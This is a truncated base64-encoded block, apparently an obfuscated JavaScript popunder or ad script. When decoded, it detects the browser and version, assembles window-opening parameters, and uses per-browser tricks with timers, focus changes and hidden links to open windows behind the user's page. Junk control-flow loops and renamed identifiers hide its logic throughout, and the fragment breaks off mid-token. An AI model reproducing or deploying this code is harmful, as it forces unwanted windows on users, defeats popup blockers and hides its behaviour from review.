t5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXShlLG4pJiZyW2xpK0dyK0dpXShuLGVbbl0pO31yZXR1cm4gaSYmKHJbUGErR3IrYWkrR3IreGMrR3IrenQrR3IrcGFdPWkpLHI7fSxZOmZ1bmN0aW9uKCl7dHJ5e3c1Lm80KDQpO3JldHVybiEhT3VbdzUuYzQoZW4sUGUsTWMpXVt3NS51NCgkaSxHcixXcyldO31jYXRjaCh0KXtyZXR1cm4geXU7fX0sbDpmdW5jdGlvbih0KXt2YXIgZSxpLFk3LGY3LHM3O2U9WmMuXyh0KTt3NS5ZNCg0KTtpPXRbWl0oQWEsdzUudTQoR3Isem8scSkpO3RyeXtZNz0tMTYzMTA2MDI3MDtmNz0xOTgxNTM2MDYxO3M3PTI7Zm9yKHZhciBXNz0xO3c1LkwxKFc3LnRvU3RyaW5nKCksVzcudG9TdHJpbmcoKS5sZW5ndGgsMTYwMikhPT1ZNztXNysrKXtyZXR1cm4rbmV3IFVyKChacy9ZZS1HcikvIGkveHIsUnMpW2lyXShlW1hzJUdyL2hdKCkpO3M3Kz0yO31pZih3NS5MMShzNy50b1N0cmluZygpLHM3LnRvU3RyaW5nKCkubGVuZ3RoLDExNjM3KSE9PWY3KXtyZXR1cm4hbmV3IFVyKFpzK1llK0dyK2kreHIsUnMpW2lyXShlW1hzK0dyK2hdKCkpO319Y2F0Y2godCl7cmV0dXJuIHRbWHMrR3IraF0oKVtMK0dyK1dhXShrbytZZStycytZZStVK1llK1pzKT4tMT9ndTpYYy5kP2d1Onl1O319LHY6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHIsbzt3NS5vNCg0KTtlPXlbdzUuYzQoUGEsR3IsZyldO3c1Llk0KDQpO2k9eVt3NS5jNChQYSxHcix3YyldO249eVtPaStHcitVZV18fHlbT2krR3IrV25dfHwwO3I9eVtPaStHcit4b118fHlbT2krR3IrQ2NdfHwwO289e307cmV0dXJuIG9bb2NdPWUsb1tLYV09aSxvW0hpXT1uLG9bcF09cixvW29yXT0wLG9bRWldPTEsb1tTcl09MSxvW09yXT0xLG8ucmVzaXphYmxlPTEsb1tNZV09MSxYYy5iJiYob1tLYV0rPVhjLm0/NDY6NTIpLFhjLmcmJihvW29jXS09NSxvW0thXS09NCksdHlwZW9mIHQ9PT1hciYmKG89WmMueShvLHQpKSxvO30sTzpmdW5jdGlvbih0KXt2YXIgZTtlPXJpW1VzK0dyK0NuXShjbik7cmV0dXJuIGVbeGVdW3h0XT1YaSx0JiZyaVtRcl1bSXQrR3IrV2VdKGUpLGU7fSxEOmZ1bmN0aW9uKHQpe3JldHVybiB0W1NjK0dyK21jXT09PUZjK0dyK1ZyK0dyK3hjK0dyK3hjK0dyK2ZjK0dyK2d0fHx0W1NjK0dyK21jXT09PXZhK0dyK2d0K0dyK210K0dyK1ZyK0dyK3hjJiZVbltpcl0odFthYStHcitHaV0oTykpfHx0aGlzLkIodCxGYytHcitWcitHcit4YytHcit4YytHcitmYytHcitndCkhPT15dTt9LFA6ZnVuY3Rpb24odCl7dCYmdFtfdCtHcitpXSYmdFtfdCtHcitpXVt4bitHcitXZV0odCk7fSxJOmZ1bmN0aW9uKHQsZSl7dmFyIG4scixvO2lmKHR5cGVvZiBlIT09VGMpe3JldHVybiB5dTt9aWYodHlwZW9mIHJpW2VlK0dyK3Z0K0dyK21dPT09WnMpdHJ5e3I9dFtfdCtHcitpXVtlZStHcit2dCtHcittXShlKXx8eS5qUXVlcnkoZSk7fWNhdGNoKHQpe31lbHNlIGlmKFpjLkEoKSl0cnl7cj15LmpRdWVyeShlKTt9Y2F0Y2godCl7fWlmKHIpZm9yKG89MDtvPHJbcGldO28rKylpZihyW29dPT09dCl7cmV0dXJuIGd1O31zd2l0Y2goZVswXSl7Y2FzZSBHcitUdCtHcjpuPVtsbyxlW2ZzXSgxKV07YnJlYWs7Y2FzZSBHcitzZStHcjpuPVtWYSxlW2ZzXSgxKV07fXJldHVybiBuP3RoaXMuVyh0LG5bMF0sblsxXSk6eXU7fSxmOmZ1bmN0aW9uKHQsZSl7dHJ5e3JldHVybiEoIXRba2ldW2VdfHwhdFtraV1bZV1bWW5dKTt9Y2F0Y2godCl7cmV0dXJuIHl1O319LE46ZnVuY3Rpb24odCl7dmFyIGU7ZT10aGlzLlIodCk7cmV0dXJuIGUmJmVbdW5dJiYheHNbaXJdKGVbdW5dKT9lW3VuXTp5dTt9LEo6ZnVuY3Rpb24odCxlLGksbil7Zm9yKHZhciByLG8scyxhPXRbWHMrR3IraF0oKVtDcl0obnx8R3IrVHQrR3IpLGM9ZVtYcytHcitoXSgpW0NyXShufHxHcitUdCtHciksdT0wLGY9ZHJbQm9dKGFbcGldLGNbcGldKTt1PGYmJihyPVVjKGFbdV18fDAsMTApLG89VWMoY1t1XXx8MCwxMCkscWMocikmJihyPTApLHFjKG8pJiYobz0wKSxzPXI+bz8xOi0xLHI9PT1vKTt1Kyspe3M9MDt9c3dpdGNoKGkpe2Nhc2UgR3IrdXIrR3I6dzUubzQoOCk7cmV0dXJuIHc1LnU0KDEscyk7Y2FzZSBHcit1citHcitldCtHcjp3NS5ZNCg5KTtyZXR1cm4gdzUuYzQocywxKTtjYXNlIEdyK3VpK0dyOnc1Lm80KDEwKTtyZXR1cm4gdzUuYzQoMSxzKTtjYXNlIEdyK3VpK0dyK2V0K0dyOnc1Llk0KDExKTtyZXR1cm4gdzUuYzQoMSxzKTtjYXNlIEdyK2V0K0dyK2V0K0dyOmNhc2UgR3IrZXQrR3IrZXQrR3IrZXQrR3I6ZGVmYXVsdDp3NS5ZNCg4KTtyZXR1cm4gdzUudTQoMCxzKTt9fSwkOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZT1wZVtDcl0oR3IpLGk9ZVtwaV0sbj0wLHI9R3I7bjx0O24rKyl7cis9ZVtkcltBY10oZHJbTW5dKCkqaSldO31yZXR1cm4gcjt9LGg6ZnVuY3Rpb24odCxlKXt0cnl7cmV0dXJuIHRbYWErR3IrR2ldKGUpO31jYXRjaCh0KXtyZXR1cm4geXU7fX0sSDpmdW5jdGlvbih0LGUsaSl7dmFyIG47dzUubzQoMik7bj13NS5jNChoaSx0KTtyZXR1cm4gdHlwZW9mIHlbbl0hPT1nZSYmcm8oeVtuXSkseVtuXT1pbyhlLGkpO30sdzpmdW5jdGlvbigpe3JldHVybiBQdTt9LFU6ZnVuY3Rpb24odCl7cmV0dXJuIHRbU2MrR3IrbWNdPT09dmErR3IrZ3QrR3IrbXQrR3IrVnIrR3IreGMmJm5lW2lyXSh0W2FhK0dyK0dpXShPKSl8fHRbU2MrR3IrbWNdPT09cGErR3IrT24rR3IrRmMrR3IrUHMrR3IrcGE7fX07aXU9e3R0OmZ1bmN0aW9uKHQsZSl7dmFyIGkscTUsbTUsQTU7dHJ5e3E1PS0xNDE1MjczNDIzO201PS0zMzc1MDc5MjY7QTU9Mjtmb3IodmFyIEs1PTE7dzUuZDEoSzUudG9TdHJpbmcoKSxLNS50b1N0cmluZygpLmxlbmd0aCwzNzU1NSkhPT1xNTtLNSsrKXtyZXR1cm4gZXx8KGk9cmlbKHdyLUdyKSVqbipHcipMY10odFtIYyVHci9VZV0sdFtIYy9Hci14b10pKT9pOnRbVGldJiZ0W1hzLUdyLUNuXSYmdFsoWHItR3IpJUNuXTtBNSs9Mjt9aWYodzUuTDEoQTUudG9TdHJpbmcoKSxBNS50b1N0cmluZygpLmxlbmd0aCw3MjUzNikhPT1tNSl7cmV0dXJuIGUmJihpPXJpW3dyK0dyK2puK0dyK0xjXSh0W0hjK0dyK1VlXSx0W0hjK0dyK3hvXSkpP2k6dFtUaV18fHRbWHMrR3IrQ25dfHx0W1hyK0dyK0NuXTt9fWNhdGNoKHQpe3JldHVybiB5dTt9fSxYOmZ1bmN0aW9uKHQsZSxpLG4pe3JldHVybiB0eXBlb2YgdFtIbitHcitDYStHcitFbl09PT1acz90W0huK0dyK0NhK0dyK0VuXShlLGksbnx8e30pOnRbRmUrR3IrQ2FdKE5vK2UsaSk7fSxLOmZ1bmN0aW9uKHQsZSxpLG4pe3ZhciByO3I9ZnVuY3Rpb24oKXtpdS5aKHQsZSxyLG4pO2lbQ2ldKCk7fTtpdS5YKHQsZSxyLG4pO30sWjpmdW5jdGlvbih0LGUsaSxuKXtyZXR1cm4gdHlwZW9mIHRbeG4rR3IrQ2ErR3IrRW5dPT09WnM/dFt4bitHcitDYStHcitFbl0oZSxpLG58fHt9KTp0W0tpK0dyK0NhXShObytlLGkpO319OyEoWGM9e2l0OmZhW2lyXSh2dSksbnQ6c3RbaXJdKHZ1KSxtOmxlW2lyXSh2dSksZXQ6YWNbaXJdKHZ1KSxydDpTb1tpcl0odnUpLG90OnNpW2lyXSh2dSl8fEpyW2lyXSh2dSl8fHVlW2lyXSh2dVtmc10oMCw0KSksc3Q6dm9baXJdKHZ1KSxnOkFyW2lyXSh2dSkmJiFfYVtpcl0odnUpLGI6bHJbaXJdKHZ1KSYmIW1hW2lyXSh2dSksYXQ6bWVbaXJdKHZ1KSYmIWdyW2lyXSh2dSksY3Q6eFtpcl0odnUpLGQ6Rltpcl0odnUpLHV0OnlvW2lyXSh2dSksX3Q6bXUscHQ6WmMucShndSl8fG11LGx0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuX3QhPT1tdT90aGlzLl90OnRoaXMuX3Q9UWMuZHQoKSE9PXl1O30sSjpmdW5jdGlvbih0LGUpe3JldHVybiBaYy5KKFhjLmZ0LGUsdCk7fSxodDptb1tpcl0odnUpJiYhenJbaXJdKHZ1KSxmdDpaYy5xKHl1KXx8bXV9KS5ldHx8WGMuaHR8fFhjLmR8fFhjLmJ8fChYYy51dD1vNSk7KFljPWZ1bmN0aW9uKHQsZSxpKXt2YXIgbjtuPWl8fHt9O25bel09ZTt0aGlzLnZ0KG4pO3RoaXMubXQuYnR8fCh0aGlzLm10LmJ0PXJ1K3QpO3RoaXMuZ3QoKTt9KVtYdF09e2t0OntUdDpndSxDdDptdSxqdDp5dSxFdDpHcitQZStHcixGdDprdSxMdDpndSxBdDp5dSxPdDpndSx4dDptdSxQdDpudWxsLGJ0Om11LHd0Om11LFN0Omt1fSxtdDp7fSx5dDpudWxsLHp0OlpjLnYoKSxCdDpaYy5wKFtbT3IsMF1dKSxJdDpaYy5wKFtbTWUsMV1dKSxNdDpaYy5wKFtbU3IsMV1dKSxXdDpaYy5wKFtbRWksMF0sW1NyLDBdXSksRHQ6WmMucChbW01lLDBdXSksVXQ6WmMucChbW1p0LDBdXSksUnQ6WmMucChbW0VpLDBdXSksc2V0T3B0aW9uczpmdW5jdGlvbih0KXtyZXR1cm4gdGhpcy52dCh0KTt9LGd0OmZ1bmN0aW9uKCl7dmFyIHQsZSxpLG47dD1mdW5jdGlvbih0LGUpe3ZhciBpLG47bj17fTtuW3B1XT1beXUsZ3VdO25bX3VdPVt5dSx5dV07bltsdV09W2d1LGd1XTtuW2R1XT1bZ3UseXVdO2ZvcihpIGluIG4paWYoeWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0obixpKSYmbltpXVswXT09PXQmJm5baV1bMV09PT1lKXtyZXR1cm4gaTt9cmV0dXJuIF91O307ZT1YYy5sdCgpO2k9dChHYy5tdC4kdC5uZXdUYWIsR2MubXQuJHQudW5kZXIpO249dCh0aGlzLm10LkF0LHRoaXMubXQuVHQpO2V8fG49PT1wdSYmKG49aSk9PT1wdSYmKG49bHUpO1hjLm90JiYobj09PV91JiYobj1kdSksbj09PXB1JiYobj1sdSkpO3RoaXMueXQ9bjt9LEh0OmZ1bmN0aW9uKCl7dmFyIGswLG4wLEYwO2lmKHR5cGVvZiB0aGlzLm10Lnh0PT09WnMpdHJ5e3JldHVybiB0aGlzLm10Lnh0W0NpXSh0aGlzLHRoaXMubXQpW1hzK0dyK2hdKCk7fWNhdGNoKHQpe3JldHVybiBLYy5lKHQpLHl1O31rMD0tMTAwMjA0NzAxMztuMD0tMTY1MTM4NjMwNztGMD0yO2Zvcih2YXIgTTA9MTt3NS5MMShNMC50b1N0cmluZygpLE0wLnRvU3RyaW5nKCkubGVuZ3RoLDY4NDExKSE9PWswO00wKyspe3JldHVybiB0aGlzLm10Lnh0O0YwKz0yO31pZih3NS5kMShGMC50b1N0cmluZygpLEYwLnRvU3RyaW5nKCkubGVuZ3RoLDkwOTM5KSE9PW4wKXtyZXR1cm4gdGhpcy5tdC54dDt9fSxMdDpmdW5jdGlvbigpe3ZhciB0LGUsRzcsQzcsazcsVjAsdTAseTA7dD10aGlzLm10O2U9dC5PdCE9PU5zJiZ0Lk90IT09TmV8fHQuT3Q9PT1OcyYmWGMub3R8fHQuT3Q9PT1OZSYmIVhjLm90O3RyeXtHNz0tMTkzODMwODU3MjtDNz0tMTE3NzY0NDk2NDtrNz0yO2Zvcih2YXIgRjc9MTt3NS5kMShGNy50b1N0cmluZygpLEY3LnRvU3RyaW5nKCkubGVuZ3RoLDg5NDI0KSE9PUc3O0Y3Kyspe3R5cGVvZiB0Lkx0PT09WnM/ZT1lJiZ0Lkx0W0NpXSh0aGlzLGUsdGhpcy5OdCgpKSE9PXl1OnR5cGVvZiB0Lkx0PT09YW4mJihlPWUmJnQuTHQpO2s3Kz0yO31pZih3NS5MMShrNy50b1N0cmluZygpLGs3LnRvU3RyaW5nKCkubGVuZ3RoLDUzNDE4KSE9PUM3KXstdC5MdCE9PVpzP2U9ZXx8dC5MdFtDaV0odGhpcyxlLHRoaXMuTnQoKSk9PT15dTohdC5MdD09YW58fChlPWV8fHQuTHQpO319Y2F0Y2godCl7S2MuZSh0KTt9VjA9Njg3MDAyMDA4O3UwPS0yOTc1OTkyODc7eTA9Mjtmb3IodmFyIHYwPTE7dzUuTDEodjAudG9TdHJpbmcoKSx2MC50b1N0cmluZygpLmxlbmd0aCw2NDU0MSkhPT1WMDt2MCsrKXtyZXR1cm4gR2MuSnQoKT9lfHwtdGhpcy5WdDplfHwrdHUuYyh0LmJ0KTt5MCs9Mjt9aWYodzUuTDEoeTAudG9TdHJpbmcoKSx5MC50b1N0cmluZygpLmxlbmd0aCwyOTMyNSkhPT11MCl7cmV0dXJuIEdjLkp0KCk/ZXx8LXRoaXMuVnQ6ZXx8K3R1LmModC5idCk7fXJldHVybiBHYy5KdCgpP2UmJiF0aGlzLlZ0OmUmJiF0dS5jKHQuYnQpO30sdnQ6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHI7dGhpcy5tdD1aYy55KHRoaXMuenQsdGhpcy5rdCx0aGlzLm10LHR8fHt9KTtmb3IoaSBpbiB0aGlzLm10KWlmKHlpW1h0XVtCYStHcitsdCtHcitvb11bQ2ldKHRoaXMubXQsaSkpc3dpdGNoKG49dGhpcy5tdFtpXSxpKXtjYXNlIHNvOnRoaXMubXQud3Q9bjticmVhaztjYXNlIHo6dGhpcy5tdC54dD1uO2JyZWFrO2Nhc2UgTGU6dGhpcy5tdC5PdD0obitHcilbWHMrR3IrdHMrR3IrbmNdKCk7YnJlYWs7Y2FzZSBOdCtHcittYzp0aGlzLm10LmJ0PW47YnJlYWs7Y2FzZSBOdCtHcitUOnRoaXMubXQuQ3Q9bjticmVhaztjYXNlIE50K0dyK2VhOnRoaXMubXQuRXQ9bjticmVhaztjYXNlIE50K0dyKyRzOnRoaXMubXQuUHQ9bjticmVhaztjYXNlIEVlOnRoaXMubXQuVHQ9bjticmVhaztjYXNlIEErR3IrTG86dGhpcy5tdC5BdD1uO2JyZWFrO2Nhc2UgcHQrR3IramU6dGhpcy5tdC5GdD1uO2JyZWFrO2Nhc2UgamErR3IramU6dGhpcy5tdC5TdD1uO2JyZWFrO2Nhc2UgSWMrR3IrY3I6dGhpcy5tdC5qdD1uO2JyZWFrO2Nhc2UgdGUrR3Irc3M6dGhpcy5tdC5MdD1uO31pZighWGMub3QmJiF0aGlzLm10LkF0KWZvcihyPVtbWGMuZyYmMTE9PT1YYy5wdCx0aGlzLlV0XSxbWGMuYiYmWGMucHQ8NDEsdGhpcy5JdF0sW1hjLmIsdGhpcy5CdF0sW1hjLmQmJlhjLnB0PDQ3LHRoaXMuTXRdLFtYYy51dCx0aGlzLkR0XSxbWGMuY3QsdGhpcy5SdF0sW1hjLmImJlhjLnB0Pj01OSx0aGlzLld0XSxbWGMudXQmJlhjLnB0Pj00Nix0aGlzLld0XV0sZT0wO2U8cltwaV07ZSsrKWlmKHJbZV1bMF0pZm9yKGkgaW4gcltlXVsxXSl7eWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0ocltlXVsxXSxpKSYmKHRoaXMubXRbaV09cltlXVsxXVtpXSk7fX0sZ2V0T3B0aW9uczpmdW5jdGlvbigpe3JldHVybiB0aGlzLk50KCk7fSxOdDpmdW5jdGlvbigpe3ZhciB0LGU7ZT17fTtmb3IodCBpbiB0aGlzLm10KXt5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXSh0aGlzLm10LHQpJiZ0W3BpXT49MyYmKGVbdF09dGhpcy5tdFt0XSk7fXJldHVybiBlO30scXQ6ZnVuY3Rpb24oKXtHYy5KdCgpP3RoaXMuVnQ9Z3U6dHUuYSh0aGlzLm10LmJ0LDEsdGhpcy5tdC5DdCx0aGlzLm10LkV0LHRoaXMubXQuUHQpO319OyhudT1mdW5jdGlvbih0KXt2YXIgZTtlPXRoaXM7dGhpcy5RdD10O3RoaXMuR3Q9dGhpcy5ZdCgpO3RoaXMuS3Q9dGhpcy5adCgpO2l1LlgodGhpcy5HdCxncyxmdW5jdGlvbigpe0dzKGUuS3QpO1pjLlAoZS5HdCk7fSk7fSlbWHRdPXtZdDpmdW5jdGlvbigpe3ZhciB0LEs3LHI3LFE3O0s3PS0xODIwMzgxMDU7cjc9MTk5MDM1MjYxMTtRNz0yO2Zvcih2YXIgajc9MTt3NS5kMShqNy50b1N0cmluZygpLGo3LnRvU3RyaW5nKCkubGVuZ3RoLDg2ODQwKSE9PUs3O2o3Kyspe3Q9WmMueihoYyx7Y2xhc3M6ZnV9LEdyKTtyZXR1cm4gdGhpcy5RdFtTYytHcittY11bWHMrR3IrdHMrR3IrbmNdKCk9PT1Rcj9yaVtRcl1bSXQrR3IrV2VdKHQpOnRoaXMuUXRbX3QrR3IraV1bTmMrR3IrT3NdKHQsdGhpcy5RdFtWcytHcitrc10pLHQ7UTcrPTI7fWlmKHc1LkwxKFE3LnRvU3RyaW5nKCksUTcudG9TdHJpbmcoKS5sZW5ndGgsMzM0MykhPT1yNyl7dD1aYy56KGhjLHtjbGFzczpmdX0sR3IpO3JldHVybiB0aGlzLlF0W1NjKkdyL21jXVtYcypHci10cy1Hci1uY10oKT09UXI/cmlbUXJdW0l0L0dyL1dlXSh0KTp0aGlzLlF0W190L0dyJWldWyhOYy1HcikqT3NdKHQsdGhpcy5RdFsoVnMtR3IpJWtzXSksdDt9fSxadDpmdW5jdGlvbigpe3ZhciB0O3Q9dGhpcztyZXR1cm4gQ28oZnVuY3Rpb24oKXt2YXIgZSxpO2k9VWModC5RdFt4ZV1bc24rR3IrenNdLDEwKTt0LlF0W1NjK0dyK21jXVtYcytHcit0cytHcituY10oKT09PVFyJiYoaT05ZTkpOyhlPV9uK1Z0K2dvK2VyK0RhK1Z0K04rZXIrbG4rVnQraytlcitHcisoS2ErVnQrR3IpK3QuUXRbZnIrR3Ird2NdKyhobytlcitHcikrKG9jK1Z0K0dyKSt0LlF0W2ZyK0dyK2ddKyhobytlcitHcikrKEhpK1Z0K0dyKSt0LlF0W2ZyK0dyK1duXSsoaG8rZXIrR3IpKyhwK1Z0K0dyKSt0LlF0W2ZyK0dyK0NjXSsoaG8rZXIrR3IpKyhzbit3aStMK1Z0K0dyKSsocWMoaSk/MjppKzEpKSE9PXQuR3RbYWErR3IrR2ldKHhlKSYmdC5HdFtsaStHcitHaV0oeGUsZSk7fSwxNTApO319O251Llh0PWZ1bmN0aW9uKHQpe3ZhciBlO3c1Llk0KDEyKTtlPXc1LmM0KHJ1LExpLHdpLHdpLEdyLGllLEdyKTt0W2FhK0dyK0dpXShlKXx8dFthYStHcitHaV0obG8pPT09ZnV8fCh0W2xpK0dyK0dpXShlLDEpLG5ldyBudSh0KSk7fTsoUWM9e2R0OmZ1bmN0aW9uKCl7dmFyIHQsZTtlPXRoaXMuZWUoKTtmb3IodD0wO3Q8ZVtwaV07dCsrKWlmKGVbdF1bMV0oKT09PWd1KXtyZXR1cm4gZVt0XVswXTt9cmV0dXJuIHl1O30sZWU6ZnVuY3Rpb24oKXt2YXIgdDt0PVtdO3JldHVybiBYYy5vdHx8WGMuaXQ/W106KHRbTXJdKFt0aGlzLmllLGZ1bmN0aW9uKCl7cmV0dXJuIFhjLmImJlhjLnB0Pj02NCYmWGMucHQ8Njc7fV0pLHRbTXJdKFt0aGlzLm5lLGZ1bmN0aW9uKCl7cmV0dXJuIFhjLmImJlpjLlkoKSYmWGMubnQmJlhjLnB0Pj00MyYmWGMucHQ8NjQ7fV0pLHRbTXJdKFt0aGlzLnJlLGZ1bmN0aW9uKCl7dmFyIGI3LHE3LG03O2I3PS02MDMwNTI0OTU7cTc9LTQwNjg3OTgwNDttNz0yO2Zvcih2YXIgSTc9MTt3NS5MMShJNy50b1N0cmluZygpLEk3LnRvU3RyaW5nKCkubGVuZ3RoLDU1NDM5KSE9PWI3O0k3Kyspe3JldHVybiBYYy5ifHxaYy5ZKCl8fFhjLm18fFhjLnB0PD0xN3x8WGMucHQ+PTg5O203Kz0yO31pZih3NS5MMShtNy50b1N0cmluZygpLG03LnRvU3RyaW5nKCkubGVuZ3RoLDYyMDk0KSE9PXE3KXtyZXR1cm4gWGMuYnx8WmMuWSgpfHxYYy5tfHxYYy5wdDw9MTd8fFhjLnB0Pj04OTt9cmV0dXJuIFhjLmImJlpjLlkoKSYmWGMubSYmWGMucHQ+PTQ5JiZYYy5wdDw2NDt9XSksdFtNcl0oW3RoaXMub2UsZnVuY3Rpb24oKXtyZXR1cm4gWGMuZDt9XSksdFtNcl0oW3RoaXMuc2UsZnVuY3Rpb24oKXtyZXR1cm4gWGMuZyYmWGMucHQ+PTExO31dKSx0W01yXShbdGhpcy5hZSxmdW5jdGlvbigpe3JldHVybiBYYy5odDt9XSksdFtNcl0oW3RoaXMuY2UsZnVuY3Rpb24oKXt2YXIgVDAsRTAsbzA7VDA9MTIwNjMzNjEyMTtFMD0xMjk2MjQyMjUyO28wPTI7Zm9yKHZhciBwMD0xO3c1LmQxKHAwLnRvU3RyaW5nKCkscDAudG9TdHJpbmcoKS5sZW5ndGgsNDUyNzYpIT09VDA7cDArKyl7cmV0dXJuIFhjLnV0fHxYYy5udHx8WGMucHQ+PTc0O28wKz0yO31pZih3NS5MMShvMC50b1N0cmluZygpLG8wLnRvU3RyaW5nKCkubGVuZ3RoLDY1MzgpIT09RTApe3JldHVybiBYYy51dCYmWGMubnQmJlhjLnB0PD00ODt9fV0pLHQpO319KS50ZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMudGVbWHRdPXtfZTprdSx1ZTpmdW5jdGlvbih0KXt2YXIgcjUsUTUsZTU7cjU9LTk1ODI4OTMwMTtRNT0tNjIxNDQ4NDIyO2U1PTI7Zm9yKHZhciBaNT0xO3c1LmQxKFo1LnRvU3RyaW5nKCksWjUudG9TdHJpbmcoKS5sZW5ndGgsOTUyNjgpIT09cjU7WjUrKyl7dGhpcy5mZT10O2U1Kz0yO31pZih3NS5MMShlNS50b1N0cmluZygpLGU1LnRvU3RyaW5nKCkubGVuZ3RoLDE0MzU1KSE9PVE1KXt0aGlzLmZlPXQ7fX0sbGU6a3UscGU6ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG8scyxhO2k9dGhpcztuPWkuZmU7cj1uLkh0KCk7bz1uLm10O3M9by53dHx8WmMuJCg1KTthPVpjLmsobyk7aWYodD1mdW5jdGlvbigpe3RyeXtpZih0eXBlb2Ygby5GdD09PVpzJiZvLkZ0W0NpXShuLHIsbyk9PT15dSl7cmV0dXJuIHl1O319Y2F0Y2godCl7S2MuZSh0KTt9cmV0dXJuIG11O30sZT1mdW5jdGlvbih0KXtpZih0eXBlb2Ygby5TdD09PVpzKXRyeXtvLlN0W0NpXShuLHIsbyx0KTt9Y2F0Y2godCl7S2MuZSh0KTt9fSx0KCk9PT15dSl7cmV0dXJuIHl1O310eXBlb2Ygb1t6XT09PVRjJiZvW3pdIT09ciYmKHI9b1t6XSk7R2MuanQoby5qdCk7dGhpcy5fZSgpO3RyeXtyZXR1cm4gdGhpcy5sZShyLG8scyxhLGZ1bmN0aW9uKHQpe2kuZGUodCk7aS5oZSYmR2MuaGUoKTtlKHQpO30pO31jYXRjaCh0KXtyZXR1cm4gS2MuZSh0KSx5dTt9fSx2ZTpmdW5jdGlvbih0LGUsaSl7cmV0dXJuKEdjLm10LmJlP1pjLkM6QXUpKHQsZSxpKTt9LGRlOmt1LGhlOmd1fTtRYy5tZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMubWVbWHRdPVpjLnkoUWMudGVbWHRdLHtoZTp5dSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3IodGhpcy52ZSh0LGksbikpO319KTtRYy5nZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMuZ2VbWHRdPVpjLnkoUWMudGVbWHRdLHtoZTohWGMub3QmJiFYYy5kLGxlOmZ1bmN0aW9uKHQsZSxpLG4scil7cih0aGlzLnZlKHQsRmkpKTt9fSk7UWMueWU9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLnllW1h0XT1aYy55KFFjLnRlW1h0XSx7a2U6ZnVuY3Rpb24oKXt2YXIgdCxlLGk7dD1HYy53ZSgpO2U9R2MueGUuUztpPXR5cGVvZiBHYy5tdC5PZT09PVpzP0djLm10Lk9lW0NpXSgpOkdjLm10Lk9lO3JldHVybiBmdW5jdGlvbigpe3ZhciBuLHI7cmV0dXJuIGkhPT1GdT9pOihuPVpjLiQoMSkscj1lP2k6R2MuQ2UodCl8fGksZXUucygpfHwhWGMub3QmJiFYYy5nP3I6KHR1LmEoY3UsbixtdSkscltaXSh2cixHcikrKEdyK3NlK0dyKStuKSk7fSgpO30sbGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgeDksejksaDksbyxzLGEsYyx1LGgsZixwO3g5PTE3MTA2NjI4Nzg7ejk9LTEwMzk3MjE3MTM7aDk9Mjtmb3IodmFyIEw5PTE7dzUuZDEoTDkudG9TdHJpbmcoKSxMOS50b1N0cmluZygpLmxlbmd0aCwzMDE4NykhPT14OTtMOSsrKXtoOSs9Mjt9aWYodzUuZDEoaDkudG9TdHJpbmcoKSxoOS50b1N0cmluZygpLmxlbmd0aCw0NTQ4MCkhPT16OSl7fWE9dGhpcy5rZSgpO2M9R2Mud2UoKTt1PVpjLk4oYyk7aD0xNTtmPVtdO3A9ZnVuY3Rpb24odCl7dmFyIGU7dHlwZW9mIHRbQW5dPT09WnMmJihlPXRbQW5dLGl1LlgodCxncyxlKSk7dFtBbl09ZnVuY3Rpb24oKXtyZXR1cm4geXU7fTt9O2ZvcihHYy5FZSgpLGMmJmNbU2MrR3IrbWNdPT09T24mJmNbYWErR3IrR2ldKFRpKSE9PUZpJiZaYy5mKGMsdW4pJiYocChjKSwwIT09Y1thYStHcitHaV0odW4pW0wrR3IrV2FdKEN0KSYmKGE9Y1thYStHcitHaV0odW4pKT09PUdyJiYoYT1GdSkpLGMmJmNbU2MrR3IrbWNdPT09T24mJmNbYWErR3IrR2ldKFRpKT09PUZpJiZaYy5mKGMsdW4pJiYocChjKSxpbyhmdW5jdGlvbigpe2NbQW5dPW11O30sM2UzKSxHYy5tdC5QZT9hPWNbYWErR3IrR2ldKHVuKTooYT1GdSxYYy5vdCYmKFhjLnV0P2ZbTXJdKGZ1bmN0aW9uKCl7QXUoY1thYStHcitHaV0odW4pLEZpKTt9KTppbyhmdW5jdGlvbigpe0F1KGNbYWErR3IrR2ldKHVuKSxGaSk7fSwyMCkpKSksWGMuZXQmJlhjLnV0fHxYYy5ldCYmWGMuc3QmJiFYYy5kJiYhWGMuYiYmIVhjLmh0PyhBdShhLEZpKSxaYy5IKEJyLGZ1bmN0aW9uKCl7WmMuVCh0KTt9LGgpKTohWGMub3QmJlpjLmgoYyxUaSkhPT1GaSYmKFhjLnV0JiZYYy5zdHx8WGMuaHQmJlhjLnB0PDEwfHxYYy5iJiZYYy5wdDw0MSk/WGMudXQ/KFpjLlEoYSksWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6KFpjLlEodCksY1tTYytHcittY109PT1PbiYmdSYmWmMuVCh1KSk6WGMuZXQmJlhjLmQ/KG89QXUoYSxGaSksWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6KG89eVtRYV0oVWErVnQrY2ksRmkpKT8ob1tFaV1bdW5dPWEsWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6bz1BdSh0LEZpKSxzPTA7czxmW3BpXTtzKyspe2Zbc11bQ2ldKCk7fW8mJnIobyk7fX0pO1FjLm9lPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5vZVtYdF09WmMueShRYy50ZVtYdF0se2hlOnl1LGxlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIG87bz10aGlzLnZlKHQsaSxuKTtvW2tuXSgpO1R1W2JvXSgpO1pjLk0obyk7aW8oZnVuY3Rpb24oKXtyKG8pO30sMWUzKTt9fSk7UWMuY2U9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLmNlW1h0XT1aYy55KFFjLnRlW1h0XSx7bGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO289dGh